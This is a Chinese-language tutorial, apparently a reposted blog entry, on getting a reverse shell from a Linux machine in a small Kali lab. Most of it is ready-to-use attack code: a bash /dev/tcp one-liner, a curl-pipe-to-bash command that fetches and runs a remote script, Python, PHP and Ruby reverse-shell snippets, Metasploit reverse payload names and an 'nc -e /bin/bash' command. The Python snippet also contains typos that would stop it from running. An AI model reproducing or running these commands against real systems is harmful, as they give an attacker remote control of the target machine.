Liunx反彈shell的幾種方式


什么是反彈shell?

簡單理解,通常是我們主動發起請求,去訪問服務器(某個IP的某個端口),比如我們常訪問的web服務器:http(https)://ip:80,這是因為在服務器上面開啟了80端口的監聽,我們去訪問它的時候,就會給我們建立連接。而現在所謂的反彈shell指的是反過來在我們自己的公網vps建立監聽,然后讓服務器反彈一個shell來連接我們自己的主機,然后我們就能通過反彈的shell去遠程控制服務器了。


實驗環境

kali 192.168.1.16
kali 192.168.1.13
方法1:使用linux命令反彈shell
反彈shell命令格式如下:

bash -i >& /dev/tcp/ip/port 0>&1

先在要反彈回來shell的16上面 監聽隨便一個未開放的端口 且防火牆允許訪問的

然后再被攻擊機 13 上面執行命令

看見成功反彈shell

 

 第二種思路 curl命令反彈shell  公網vps 放shell腳本 

kali 192.168.1.16
kali 192.168.1.13
windows 192.168.1.12

第一步 公網vps上面放bash腳本  

 

 第二步 被攻擊機 執行命令

curl 192.168.1.12/bash |bash

 然后shell就反彈回來了

關於 反彈shell命令解析 看卿先生博客園(很細)

https://www.cnblogs.com/-qing-/p/11247720.html

 python反彈shell

import socket,subprocess,os
s=scoket.socket(socket.AF_INET,socke.SOCK_STREAM) //socket.AF_INET:。另一個地址家族AF_INET6用於第6版因特網協議(IPv6)尋址 SOCK_STREAM建立tcp鏈接
s.connect(("192.168.1.12",7111))#你要回shell的機子
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

 

反彈shell

PHP反彈shell

<?php
$sock=fsockopen("192.168.43.151",7777);//自己的外網ip,端口任意
exec("/bin/sh -i <&3 >&3 2>&3");
?>

ruby反彈shell

 

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("192.168.43.151","7777");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

 

 

 

 

 下面是直接用的msf反彈

java反彈

直接貼msf了

use payload/java/shell/reverse_tcp

 

lua反彈

use payload/cmd/unix/reverse_lua

 

 NC反彈

 

nc -e /bin/bash 192.168.1.16 7111

 

 

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM